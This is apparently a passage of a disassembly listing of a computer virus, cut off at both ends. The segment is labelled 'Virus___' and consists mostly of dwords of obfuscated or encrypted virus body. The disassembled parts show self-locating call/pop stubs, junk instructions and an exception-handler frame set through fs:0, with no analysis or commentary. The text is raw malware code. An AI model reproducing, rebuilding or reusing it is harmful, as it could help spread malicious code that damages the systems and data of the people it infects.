4E983D0h, 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 923BCFC3h, 52006A03h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0BFE22E1Ah dd 47D45AFh, 0DDF8B66h, 88h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 66C35141h, 0F9BF0FF4h, 6890Fh dd 0BD8B0000h, 95D1271h, 919958Bh, 6A095Dh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0E70C8FC3h dd 9952ED7h, 2EF8070h, 68D0Fh, 85890000h, 95D1455h, 13498D8Bh dd 8B50095Dh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 7AC35747h dd 753A6BB9h, 12E97E41h, 5A000000h, 1DA8484Ah, 0D9FC7465h dd 587C7E5Ah, 0C891E620h, 0F3C781E8h, 835DAF9Eh, 5D3169BDh dd 840F0009h, 87h, 907ED781h, 0B80EC9h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0BEC350h, 0BD296350h, 95D2A15h, 18800Fh, 13E90000h dd 20000000h, 86646E9Ch, 0CAC3C38Ah, 24397C15h, 0AE591A73h dd 9D8B6ED6h, 95D243Dh, 4D928D8Dh, 0B589095Dh, 95D1275h dd 6AE1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0A3A4A8C3h, 0A5BD0129h, 83095D19h, 5D15F9BDh dd 840F0009h, 54Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0EEC35646h, 95893152h, 95D29C1h, 15F9BD83h dd 0F01095Dh, 53984h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 1E27839Dh, 10620C9Ch dd 8363CB80h, 5D15F9BDh, 860F0309h, 4D0h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 15C35646h, 0F581967h dd 684h, 0FD8D8900h, 81095D22h, 2A8E20EFh, 0BD2B6053h dd 95D0ABDh, 60D98C66h, 8C3C82BBh, 8061F91Bh, 0B58904E1h dd 95D2219h, 840FC90Ah, 1C5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 79C35242h, 0A2EB203h, 19119D89h dd 9D89095Dh, 95D24F5h, 2C0D858Bh, 6A095Dh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 571382C3h dd 0AEAB1EDCh, 66076150h, 5025B1BFh, 4C8826BFh, 81605B53h dd 0A18344F6h, 0A58D8B1Bh, 61095D32h, 27658533h, 6A095Dh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0DBE919C3h, 61741861h, 9D339A03h, 95D0575h, 0BE9h, 0A2048700h dd 9482BC40h, 79AB3F17h, 28A0F50h, 8B000000h, 240489FAh dd 8BFA8B66h, 5D09DDBDh, 0E8006A09h, 6, 73716EB3h, 9D894A51h dd 95D222Dh, 4E85Fh, 3FF0000h, 0FA8B001Fh, 0FBF6650h, 24448B07h dd 0D98B6604h, 0F88B008Bh, 4244489h, 5E8h, 0E714D400h dd 14E9166Fh, 61000000h, 233B364h, 78FA5663h, 0E29D3CCAh dd 6477F0C6h, 5F3A9579h, 50006A58h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0C4B1FE4Bh, 0BB2CE69h dd 0AE8FA60h, 38000000h, 10498AE4h, 0AE72C8ABh, 0E1BD03F9h dd 5F095D2Eh, 0FAD95FFh, 6A095Dh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 11D356C3h, 11E9h, 3D082600h dd 8FB3E071h, 0FC498E56h, 37BC435Ch, 8589E32Bh, 960A564h dd 18ADB589h, 5CE9095Dh, 6A000002h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 34AAC356h dd 73DB8166h, 5C858B30h, 6A0960A5h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 262AC352h dd 0FAD371CEh, 1800C7D3h, 60000000h, 0DE9h, 0C3BF6100h dd 0F28DC2E6h, 40940550h, 0B96661BEh, 33612E5Dh, 5D08259Dh dd 60B58B09h, 0F50960A5h, 3151858Bh, 6A095Dh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0C86BF7C3h dd 68935B2h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 1FC35141h, 22A18A2Ch, 87B46EACh, 0AE8h, 5ADBAC00h dd 0D749EBC8h, 0F443050h, 1685h, 10E800h, 0FBB0000h, 45665A31h dd 0E01170B2h, 10998D13h, 5B5B169Bh, 2C0D858Bh, 6A095Dh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 906C25C3h, 0CF817E87h, 3E9C354Ch, 0F044689h, 282h, 965B5100h dd 71BB6650h, 85319617h, 95D12B5h, 0A55CB5FFh, 6A0960h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0BD8B18C3h, 95D2335h, 6199589h, 0C768095Dh, 0E81E62C3h dd 6, 269065B1h, 0BA600C34h, 0DE6D67h, 860Fh, 5F610000h dd 38243481h, 6A1E7DC0h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 9220C356h, 0CECD578Ah dd 8B5DF18Eh, 5D1001BDh, 64858D09h, 6A0960A5h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 2BA1C352h, 50DE8B66h, 0E9525052h, 0Ch, 4DFD8B5Eh, 118749BBh dd 729A74Dh, 0FB8B310Fh, 895B585Ah, 6A2404h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0A7BFE5C3h dd 0EA18C70Bh, 29D61F80h, 5D2B49BDh, 0AD95FF09h, 6A095D0Fh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0DD14C351h, 30C8C9E3h, 0E9A4BFECh, 0Fh, 8B1336DEh dd 4234AC90h, 48352AF5h, 61E9C51Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 54C35646h, 81669728h, 0BB3EA9F7h dd 5DC3E789h, 15F985C7h, 3095Dh, 0BD8B0000h, 95D1051h dd 0A564BD83h, 0F000960h, 3784h, 89DE8B00h, 5D1A6585h dd 45E909h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 91C95AC3h, 0D5A203E9h, 0DD8A2FDEh dd 3F09BB66h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0FC04C351h, 9D8993C9h, 95D064Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 13C35343h dd 89AFC768h, 5D03D9B5h, 0F9BD8309h, 3095D15h, 3DA850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0FEC470C3h, 2E477F74h, 6E9C5h, 0CE0D0000h dd 0A3C49CEh, 0A564BD83h, 0F000960h, 39F84h, 19858900h dd 0FF095D13h, 60A564B5h, 0F5BD8909h dd 0FF095D24h, 5D0A4195h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0FD44FFh, 0F993459h dd 684h, 0F99D0B00h, 8B095D0Fh, 60A558B5h, 2D958909h, 0C7095D28h dd 1000106h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0B7D1B450h, 0BCAFA577h, 11E8h, 7D40E900h dd 0F8FAD612h, 1944AB3Ch, 0EDC475CFh, 0BD8BB099h, 95D1F09h dd 8B66965Fh, 8B6650FEh, 9D8B96F8h, 95D0BA1h, 0A564B5FFh dd 8E0F0960h, 12h, 7E8h, 4AF22F00h, 4BF35590h, 3A9F21BBh dd 95FF5B5Ch, 95D05FDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 64C35545h, 0A558B58Bh, 81660960h, 8BA489CBh dd 5D304D85h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0B70FF80Eh, 0C48689DFh, 66000000h dd 1FAFEB81h, 919958Bh, 6A095Dh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 588FD5C3h, 8BA6D3BDh dd 0BF987BA5h, 7BA1A012h, 6A04C283h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 614C351h dd 740D4774h, 30619D8Bh, 5089095Dh, 35DB8020h, 0BBC1858Dh dd 6A0960h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 1C4A56C3h, 0D3816649h, 86899D41h, 0B8h, 22999D8Bh dd 6A095Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 4BC35141h, 0EE1B2671h, 10E9h, 20432000h, 4992795Bh dd 6FEC608h, 7C3611CEh, 64B5FFD0h, 890960A5h, 5D318D95h dd 0C995FF09h, 6A095D14h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8161C352h, 0FE4628C3h dd 9E95053h, 36000000h, 0E23D2B99h, 0E97AB626h, 8B243489h dd 5D0FA19Dh, 64B5FF09h, 6A0960A5h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 95E2C352h dd 0FCD9275h, 9D89DAB7h, 95D15F5h, 137D95FFh, 0BD8B095Dh dd 95D1451h, 19D1BD83h, 0F00095Dh, 2584h, 50F88B00h, 1FBB5250h dd 0F145C3Dh, 0AE931h, 0B6550000h, 0BEB907AFh, 3AEDF738h dd 3489585Ah, 0E3816624h, 0B5FFABA4h, 960A564h, 0EE9h dd 87CBC100h, 582D2F73h, 9FF3F4Bh, 0FF4BE69Ah, 5D2F9595h dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 2AAB7A68h, 8B73342Bh, 64B5FFF9h, 6A0960A5h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0D69AC353h, 0D613EF81h, 95FF1288h, 95D1795h dd 83DFBF0Fh, 5D0B11BDh, 840F0209h, 64h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 17h, 55C35040h, 8BD0210Ah dd 5D16EDBDh, 15858B09h, 0F5095D22h, 6A0000C6h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 6F3FC356h, 11E9F35Eh, 0F7000000h, 6FAB05A1h, 0EE628Ah dd 23F23E20h, 47C17DE9h, 54585C7h, 95Dh, 0B5890000h, 95D099Dh dd 0FFF244E9h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 14CF82Ah, 7EE82B4Eh, 6AC18BE2h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 87CBC353h, 582D2F73h, 8D293F4Bh, 95D19C1h dd 2239858Dh, 0E850095Dh, 13h, 1A42630Eh, 0B357FB2h, 0F8C154BDh dd 4A383B2Dh, 3158922Eh, 5D182D8Dh, 505F5F09h, 0CE8h, 0B8B9E900h dd 257BF01Ah, 6C107479h, 5FC2B3CDh, 6A240489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0D86DC353h, 894C92BAh, 5D19F58Dh, 0B19D8B09h, 50095D04h dd 6A5FFCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 6CC35747h, 0A5125249h, 0BD09721Ch, 95D06F9h, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0CA0B6CC3h, 0EE9D24Dh, 3D000000h, 267F0D88h, 35F915C9h dd 1384DC65h, 95858DD1h, 9096132h, 5D144D9Dh, 5C08309h dd 6E850h, 38560000h, 66BA04DFh, 5BF98B66h, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 7D1EC350h, 0B19D0150h, 89095D19h, 5D0F6D95h dd 66006A09h, 35DDC781h, 95FF006Ah, 95D0851h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DEC35545h, 89F0E611h dd 5D06FD8Dh, 4C8D8D09h, 6A096091h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C316C355h dd 2A7983EFh, 9E8h, 70839800h, 0DE9D8078h, 0CE9C9E7h, 28000000h dd 5737D8A0h, 54394C70h, 5B3C51ADh, 19F59589h, 0D1FF095Dh dd 0BD83DA8Bh, 95D0971h, 0BE850F01h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0B6DAC356h, 8B1C5D46h, 5D0F8D9Dh, 6A026A09h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0A545C351h, 0CB382275h, 0B589962Ch, 95D2261h, 52505090h dd 310FDD8Ah, 7E8h, 0D969C900h, 765B778Dh, 310F5250h, 5A5B585Ah dd 6A9058h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0F5514C3h, 0BF6629ABh, 820FF8FCh, 3, 0FFF98B66h dd 5D14C995h, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0ECEE9B9h, 0E80000h, 5D000000h, 329FED81h dd 6A0961h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 311CE8C3h, 5D03B9B5h, 52006A09h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0FDD4875h dd 7402AAA3h, 9D2BA063h, 95D31E9h, 8AE2858Dh, 6A0960h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0D476C1C3h, 0FE8BDD2h, 31000000h, 8A321DCFh, 8554FF7h dd 616FE882h, 815B6DE4h, 0F687BDEFh, 5ECB814Ah, 900157A6h dd 50F98B66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 2531C0EBh, 12E90377h, 94000000h dd 0D729D728h, 972A530h, 35D49FB7h, 661514D2h, 35FF64CEh dd 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5ADEBB and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ADEBB proc near ; CODE XREF: Virus___:005ADEB3p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5ADEBB endp ; --------------------------------------------------------------------------- clc sub esp, edx xchg eax, esp mov bh, 0C0h jmp loc_5ADEE2 ; --------------------------------------------------------------------------- inc ebp dec ecx mov ecx, 0BB99E6D8h and eax, 0F0E90CB9h loc_5ADEE2: ; CODE XREF: Virus___:005ADED1j jb loc_5ADEEE mov [ebp+95D0915h], edi loc_5ADEEE: ; CODE XREF: Virus___:loc_5ADEE2j and ebx, 43B2D3F3h mov large fs:0, esp push 0 push ecx call sub_5ADF06 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ADF06 proc near ; CODE XREF: Virus___:005ADEFEp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5ADF06 endp ; --------------------------------------------------------------------------- dw 9E73h dd 9E960C6h, 0CE000000h, 4182A327h, 7A6574Dh, 68A0Fh, 0BD890000h dd 95D0781h, 6985FF61h, 6A095D21h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0F189C352h dd 29AE9646h, 5D243D9Dh, 89FF6A09h, 5D1CB995h, 41B5FF09h dd 9095D17h, 5D2625BDh, 92CB8109h, 0FF2B562Fh, 5D038595h dd 11FE909h, 0E6BF0000h, 0B037DDB0h, 0C5BD8B00h, 0E6095D05h dd 0A8D0F70h, 60000000h, 85895953h, 95D12A5h, 6671E461h dd 3C8676BBh, 0F2830F61h, 29000000h, 5D24F98Dh, 0C8B60F09h dd 148F0Fh, 0FE90000h, 6D000000h, 25C5615Eh, 0C97144C3h dd 3280A7FEh, 6BA14CFh, 89000000h, 5D04E9BDh, 8BC18B09h dd 5D1511BDh, 4E8C109h, 19E5BD23h, 0F766095Dh, 5E8E2h dd 0D22A0000h, 33108923h, 5D1A4D9Dh, 0C82B5B09h, 99B58960h dd 0BF095D2Ah, 1EC1404Ch, 60D18B61h, 2B918589h, 0E181095Dh dd 49522F92h, 7BE961h, 8B660000h, 0D858BDEh, 1095D00h dd 5D319D95h, 7C08309h, 5700C083h, 7C30BF66h, 0FD03B5Fh dd 1E83h, 53E900h, 8E80000h, 78000000h, 6A767FDDh, 661FBA2Fh dd 36EBCF81h, 2585295Fh, 8B095D1Dh, 5D337D8Dh, 0B19B709h dd 5D31719Dh, 1E18309h, 23840Fh, 81660000h, 837090D3h dd 5D337DA5h, 870FFE09h, 6, 5F5BD8Bh, 9589095Dh, 95D000Dh dd 0E9h, 20B58D00h, 6A0960C9h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 6A5FC352h, 0B195FF00h dd 0E9095D11h, 7, 70C0A4A7h, 0B97D637Fh, 86Ah, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 93C35040h, 10E84Ah dd 60230000h, 65E11C62h, 0BD81EBC0h, 602C7D02h, 0BF0F14D5h dd 0E1835BDAh, 51006AFCh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0FCEA4C2Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2BC35747h, 84504BDBh dd 630C4BC7h, 159D8B78h, 66095D00h, 0B8F98Bh, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 9C7CC357h, 0E0E91CEAh, 60EAD2BBh, 0DBD8BF9h dd 61095D13h, 2B55E380h, 5E8D2h, 5E5F0000h, 8902D263h dd 5D09319Dh, 33AD5F09h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0BECB92C3h, 3199DD5Ah, 5D2A4995h, 55006A09h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 6FFF35BBh dd 0C2D6EA9Eh, 21918D29h, 880D095Dh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 6477C353h, 0FF3A9579h, 0E9547C9Ah, 8, 0C3B043B0h, 0A0EEC2E1h dd 919958Bh, 0B589095Dh, 95D0535h, 13498D8Bh, 8589095Dh dd 95D1AB1h, 0C28B50F8h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 0F58188Bh, 6ADFB7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0D3014BC3h, 57DAF381h, 0BD832DB6h dd 95D3169h, 54840F00h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 4506C351h dd 79F64E12h, 0B8h, 0F19D8B00h, 8D095D07h, 5D4D928Dh, 53006A09h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0FFAF92EFh, 83DA8BE1h, 5D15F9BDh, 840F0009h, 4C8h, 2F19BD33h dd 0BD83095Dh, 95D15F9h, 0D0840F01h, 83000004h, 5D15F9BDh dd 860F0309h, 48Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 4CC35747h, 732D60D4h, 3DA614Dh, 5D245D9Dh dd 0BD8B5609h, 95D1711h, 6A605Fh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0A4F41CC3h, 0B42FC4FFh dd 11E956h, 2F3C0000h, 36FC1B7Ch, 0A5338CB1h, 2DEE9953h dd 669AD121h, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0F9096CC3h, 0BD8B4DB1h, 95D09ADh dd 8B04E180h, 5D08FD9Dh, 0FC90A09h, 18184h, 0EE816000h dd 9B34A03h, 61E2D480h, 2C0D858Bh, 6A095Dh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0B833B1C3h dd 858D444h, 0E8C8558Fh, 11h, 94A8F99Eh, 3B98FC25h, 53A66BA5h dd 9A70F510h, 0D8B70F77h, 6585335Fh, 0E9095D27h, 12h, 6F0043C0h dd 7A420349h, 0ECFC79DDh, 70223DEBh, 0E850BE21h, 8, 0CAEDC7C6h dd 51AFB01Fh, 0FE8h, 9ABCF800h, 2DED109Bh, 0BCD5D89Eh dd 6F3EC741h, 5F5B5B51h, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0E170C355h dd 44F57C71h, 2BB8DD33h, 5D2515BDh, 0AD9D8B09h, 6A095D02h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 9CF96A10h, 0FC533AB1h, 4E8h, 1F03FF00h dd 5085B300h, 0BF11BF66h, 424448Bh, 28C0Fh, 0A9B30000h dd 4BBF008Bh, 8958737Bh, 8B042444h, 6A58F8h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0A20ADCC3h dd 0F8B70F16h, 0FAD95FFh, 0CB80095Dh, 6485898Bh, 0FC0960A5h dd 224E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 12B51242h, 176A4EDEh, 68B0Fh, 8D310000h dd 95D1EEDh, 1CD1BD8Bh, 858B095Dh, 960A55Ch, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 3CC35747h, 358CD323h dd 1800C7h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0B58BE3C3h, 960A560h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 30C35545h, 895D8D8Fh dd 5D03B985h, 51858B09h, 6A095D31h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 5CC6C350h dd 68C0F0Dh, 89000000h, 5D2B2D8Dh, 80068909h, 858B97D7h dd 95D2C0Dh, 0BE9h, 0A81C9B00h, 481C3B41h, 82257AFAh, 0F044689h dd 483h, 4BF6600h, 6060504Ch, 0BA668CB4h, 8A613A6Ch, 348961EBh dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0D33F409h, 0A9BCFD88h, 0FFFE8B66h, 60A55CB5h dd 0FEEB8009h, 956F2C68h, 81D88BCAh, 94D32404h, 6A3589h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 2CD0DAC3h, 858D4425h, 960A564h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 7FC35646h, 7F53A386h, 1B4CEA2Ch dd 13E8ECh, 0EFD70000h, 0A43D4D77h, 0A5DBADE6h, 614B2A4Bh dd 42C56CA8h, 10E9601Ch, 0F3000000h, 645D5E71h, 6A9A85AFh dd 0DC81CBBh, 8B7F013Fh, 5D29999Dh, 905F6109h, 0D38B6660h dd 60CA8B60h, 50616161h, 10E860h, 8D050000h, 0A752DCEBh dd 256D5BE4h, 0A661A1BBh, 0D6B83779h, 5B277DBFh, 95FF9061h dd 95D0FADh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 17h, 0FFC35747h, 1E46095h dd 5D0FB59Dh, 9D236109h, 95D0351h, 15F985C7h, 3095Dh, 5F500000h dd 0A564BD83h, 0F000960h, 5884h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8910981Bh dd 5D1B318Dh, 69858909h, 0E9095D18h, 44h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0DDC35545h, 422E3A5Ah dd 89AEE137h, 5D2A15B5h, 0C305009h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 2DC35545h, 15F9BD83h, 0F03095Dh, 3FF85h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0F916D990h, 838E5E70h, 60A564BDh, 840F0009h dd 3D0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0A6C35545h, 64B5FF3Dh, 6A0960A5h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2691C357h dd 9A6FBB3Bh, 8114F5CCh, 0EEECA6D7h, 4195FF6Bh, 6A095D0Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0BCE8C357h, 8DEFED6Ah, 0B589643Dh, 95D2A45h dd 8E3214BFh, 58B58B49h, 660960A5h, 6C7F98Bh, 10001h, 1089B529h dd 5096095Dh, 2810F52h, 0B3000000h, 50310FB8h, 507EBB52h dd 310F0BF5h, 585A585Ah, 96DA8B50h, 3129BD8Bh, 0B5FF095Dh dd 960A564h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 55C35343h, 2824E06Ch, 5E9C7h, 0E4FD0000h, 0FFFD7C39h dd 5D05FD95h, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0EAA87FEFh, 9D1CDE30h, 8D099D02h dd 95D2701h, 0A558B58Bh, 6A0960h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 895E85C3h, 8B8F8305h dd 5D304D85h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 2B388238h, 0C48689h, 958B0000h, 95D0919h dd 0CDBD8B60h, 0BB095D07h, 6EE1D8A0h, 4C28361h, 6820Fh dd 0BD010000h, 95D2531h, 0E9205089h, 0Bh, 91921112h, 0B69B70DCh dd 8DF6B8A5h, 60BBC185h, 89858909h, 89095D10h, 0B886h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0CA9C5C27h, 6A3D28h, 66D0C381h, 0B5FF64D3h dd 960A564h, 0FFDE8B66h, 5D14C995h, 3DBD8B09h, 96095D12h dd 0F5007B7h, 1C84h, 0E8525000h, 10h, 39D3BE22h, 9E226BC1h dd 0CD4D867h, 0ABE2E03Ah, 5A310F5Bh, 6A9658h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 8C0F37C3h dd 6, 2299BD29h, 0B5FF095Dh, 960A564h, 0E880Fh, 89600000h dd 5D1CED95h, 5D9D8909h, 61095D13h, 137D95FFh, 0BD8B095Dh dd 95D2491h, 19D1BD83h, 0F00095Dh, 3B84h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0E60F5A00h, 0DE1F3816h, 0F38166F1h, 0B70FDD29h, 8B6096D9h dd 8B5061F0h, 0BD3396F9h, 95D2379h, 0A564B5FFh, 6A0960h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0A4342C3h, 5499D8Bh, 800F095Dh, 2, 95FFD88Bh, 95D2F95h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 18C35343h dd 68F0Fh, 95890000h, 95D0B45h, 8B0Fh, 0B5FF0000h, 960A564h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 94C35747h dd 0C1364C97h, 8B660D4Ah, 9595FFDEh, 0E9095D17h, 0Ch, 934341A0h dd 0D7ADAAB4h, 902C4DD4h, 0B11BD83h, 0F02095Dh, 2E84h dd 0CD958900h, 8B095D24h, 5D221585h, 0DE95209h, 0A4000000h dd 3C87EE53h, 56B9AF28h, 91D4CB80h, 0C65Bh, 6E9h, 785F1A00h dd 0C7ABC179h, 5D054585h, 9, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FE4E801h dd 386h, 0DF8B6600h, 68E0Fh, 9D8B0000h, 95D0795h, 0FFF334E9h dd 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 9BAC4500h, 49AB6F72h, 8531AB97h, 95D30E5h dd 13E9h, 4C638000h, 58E98482h, 2F427687h, 0CF94BA22h dd 2FBC9BC6h, 0C18BD98Ah, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 